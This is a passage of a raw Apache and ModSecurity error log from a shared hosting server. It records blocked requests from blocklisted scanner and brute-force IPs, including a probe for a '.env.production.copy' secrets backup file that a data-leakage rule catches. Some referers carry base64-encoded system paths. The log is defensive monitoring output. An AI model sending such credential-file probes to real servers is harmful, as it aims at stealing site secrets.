18:21:59.568315 2026] [security2:error] [pid 646876:tid 646942] [remote 17.22.237.46:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 46.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30J9yTkdrNlD40tSHKOwAAcT8"] [Sat Jun 13 18:21:59.633818 2026] [access_compat:error] [pid 646876:tid 646963] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQx [Sat Jun 13 18:21:59.634077 2026] [access_compat:error] [pid 646876:tid 646963] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQx [Sat Jun 13 18:21:59.821111 2026] [access_compat:error] [pid 715691:tid 715716] [remote 57.141.14.113:39014] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:59.821428 2026] [access_compat:error] [pid 715691:tid 715716] [remote 57.141.14.113:39014] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:59.903196 2026] [security2:error] [pid 646876:tid 647129] [client 207.241.173.18:44116] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.copy$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1269"] [id "390586"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .copy)"] [severity "CRITICAL"] [hostname "cpcontacts.weiserfestival.com"] [uri "/___proxy_subdomain_cpcontacts/.env.production.copy"] [unique_id "ai30J9yTkdrNlD40tSHKSAAAAHk"] [Sat Jun 13 18:21:59.929860 2026] [access_compat:error] [pid 646876:tid 646993] [remote 57.141.14.3:39560] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:59.930323 2026] [access_compat:error] [pid 646876:tid 646993] [remote 57.141.14.3:39560] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:59.967608 2026] [access_compat:error] [pid 715691:tid 715744] [remote 216.73.216.223:62357] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:59.968069 2026] [access_compat:error] [pid 715691:tid 715744] [remote 216.73.216.223:62357] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:59.974085 2026] [security2:error] [pid 715691:tid 715746] [remote 202.172.25.41:42358] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 41.25.172.202.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "checkboxdev.com"] [uri "/xmlrpc.php"] [unique_id "ai30J7V-dFiaX9AtWiQWiQABEyQ"] [Sat Jun 13 18:21:59.974391 2026] [security2:error] [pid 715691:tid 715850] [client 202.172.25.41:42358] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "checkboxdev.com"] [uri "/xmlrpc.php"] [unique_id "ai30J7V-dFiaX9AtWiQWiQABEyQ"] [Sat Jun 13 18:22:00.138762 2026] [access_compat:error] [pid 646876:tid 646907] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:22:00.139023 2026] [access_compat:error] [pid 646876:tid 646907] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:22:00.577614 2026] [access_compat:error] [pid 715691:tid 715769] [remote 57.141.14.30:39464] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:00.577904 2026] [access_compat:error] [pid 715691:tid 715769] [remote 57.141.14.30:39464] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:00.689613 2026] [access_compat:error] [pid 646876:tid 646976] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L2RldmljZS9tb3VzZTIvc3Vic3lzdGVtL2lucHV0NC9pZA== [Sat Jun 13 18:22:00.689975 2026] [access_compat:error] [pid 646876:tid 646976] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L2RldmljZS9tb3VzZTIvc3Vic3lzdGVtL2lucHV0NC9pZA== [Sat Jun 13 18:22:00.731378 2026] [security2:error] [pid 646876:tid 646997] [remote 17.246.19.232:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30KNyTkdrNlD40tSHKXgAAF3Y"] [Sat Jun 13 18:22:00.856264 2026] [security2:error] [pid 715691:tid 715763] [remote 17.22.237.193:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 193.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30KLV-dFiaX9AtWiQWnAABYDQ"] [Sat Jun 13 18:22:00.861703 2026] [access_compat:error] [pid 715691:tid 715762] [remote 57.141.14.36:48596] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:00.861988 2026] [access_compat:error] [pid 715691:tid 715762] [remote 57.141.14.36:48596] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:00.865937 2026] [access_compat:error] [pid 715691:tid 715771] [remote 57.141.14.32:41303] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:00.866215 2026] [access_compat:error] [pid 715691:tid 715771] [remote 57.141.14.32:41303] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:00.869087 2026] [proxy:error] [pid 715691:tid 715770] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:00.869120 2026] [proxy_http:error] [pid 715691:tid 715770] [remote 2600:1f16:743:ac01:4c74:41a0:f560:35b0:0] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:00.869619 2026] [proxy:error] [pid 715691:tid 715770] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:00.869679 2026] [proxy_http:error] [pid 715691:tid 715770] [remote 2600:1f16:743:ac01:4c74:41a0:f560:35b0:0] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:00.995342 2026] [security2:error] [pid 715691:tid 715773] [remote 17.241.75.61:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 61.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30KLV-dFiaX9AtWiQWqAABYT4"] [Sat Jun 13 18:22:01.058587 2026] [access_compat:error] [pid 715691:tid 715780] [remote 57.141.14.74:25300] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:01.059062 2026] [access_compat:error] [pid 715691:tid 715780] [remote 57.141.14.74:25300] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:01.128975 2026] [security2:error] [pid 715691:tid 715784] [remote 57.141.14.98:36512] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 98.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai30KbV-dFiaX9AtWiQWsQABWEk"], referer: https://nelsonfarmstn.com/product-category/specials/page/2/?add_to_wishlist=383&_wpnonce=8d149de2a5&add-to-cart=1257 [Sat Jun 13 18:22:01.219261 2026] [access_compat:error] [pid 646876:tid 646994] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2V2ZW50NS9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:22:01.219523 2026] [access_compat:error] [pid 646876:tid 646994] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2V2ZW50NS9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:22:01.289690 2026] [security2:error] [pid 715691:tid 715778] [remote 157.90.174.226:38104] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 226.174.90.157.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "ameritekwater.com"] [uri "/wp-login.php"] [unique_id "ai30KbV-dFiaX9AtWiQWuQABF0M"] [Sat Jun 13 18:22:01.672332 2026] [access_compat:error] [pid 715691:tid 715815] [remote 57.141.14.113:39026] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:01.672800 2026] [access_compat:error] [pid 715691:tid 715815] [remote 57.141.14.113:39026] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:01.741597 2026] [access_compat:error] [pid 646876:tid 646973] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQ3L2NhcGFiaWxpdGllcw== [Sat Jun 13 18:22:01.742051 2026] [access_compat:error] [pid 646876:tid 646973] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQ3L2NhcGFiaWxpdGllcw== [Sat Jun 13 18:22:01.849842 2026] [access_compat:error] [pid 646876:tid 646914] [remote 57.141.14.75:57578] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:01.850108 2026] [access_compat:error] [pid 646876:tid 646914] [remote 57.141.14.75:57578] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:01.874750 2026] [security2:error] [pid 715691:tid 715813] [remote 157.90.174.226:38104] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 226.174.90.157.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "ameritekwater.com"] [uri "/wp-login.php"] [unique_id "ai30KbV-dFiaX9AtWiQWzAABZmY"], referer: https://ameritekwater.com/wp-login.php [Sat Jun 13 18:22:02.207153 2026] [access_compat:error] [pid 646876:tid 646901] [remote 57.141.14.78:43128] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:02.207580 2026] [access_compat:error] [pid 646876:tid 646901] [remote 57.141.14.78:43128] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:02.208493 2026] [access_compat:error] [pid 646876:tid 647006] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvaW5wdXQvaW5wdXQyL2lucHV0Mjo6c2Nyb2xsbG9jaw== [Sat Jun 13 18:22:02.208984 2026] [access_compat:error] [pid 646876:tid 647006] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvaW5wdXQvaW5wdXQyL2lucHV0Mjo6c2Nyb2xsbG9jaw== [Sat Jun 13 18:22:02.757648 2026] [access_compat:error] [pid 646876:tid 646898] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:22:02.757980 2026] [access_compat:error] [pid 646876:tid 646898] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:22:02.896134 2026] [security2:error] [pid 715691:tid 715810] [remote 17.22.245.227:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 227.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30KrV-dFiaX9AtWiQW-wABMmM"] [Sat Jun 13 18:22:03.090627 2026] [access_compat:error] [pid 646876:tid 646977] [remote 57.141.14.32:41315] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:03.091105 2026] [access_compat:error] [pid 646876:tid 646977] [remote 57.141.14.32:41315] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:03.092604 2026] [access_compat:error] [pid 646876:tid 646927] [remote 57.141.14.66:52444] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:03.093119 2026] [access_compat:error] [pid 646876:tid 646927] [remote 57.141.14.66:52444] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:03.265606 2026] [security2:error] [pid 646876:tid 646929] [remote 17.246.23.50:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 50.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30K9yTkdrNlD40tSHK0wAAaDI"] [Sat Jun 13 18:22:03.297123 2026] [security2:error] [pid 646876:tid 647036] [client 